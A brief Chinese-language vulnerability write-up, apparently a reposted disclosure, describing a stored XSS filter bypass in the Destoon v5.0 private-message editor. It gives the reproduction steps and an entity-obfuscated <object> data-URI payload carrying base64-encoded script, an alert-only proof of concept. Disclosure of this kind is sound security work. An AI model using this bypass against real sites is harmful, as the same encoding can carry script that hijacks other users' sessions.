destoon /v5.0/ 存储型xss 指哪打哪(绕过2) - 网站安全

关联url： destoon /v5.0/ 存储型xss 指哪打哪(绕过1)  http://www.2cto.com/Article/201406/309438. html

 

注册一个用户

 

http://127.0.0.1/v5.0/member/message.php?action=send&touser=oboi123&title=RE:RE%3ARE%3Asdaaaaaaa

 

回复处用了编辑器

 

编辑器有些标签没过滤，导致xss执行

 

xsscode:

 

<object data=data:text/html;bas&#x65&Tab;&NewLine;64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

查看更多关于destoon /v5.0/ 存储型xss 指哪打哪(绕过2) - 网站安全的详细内容...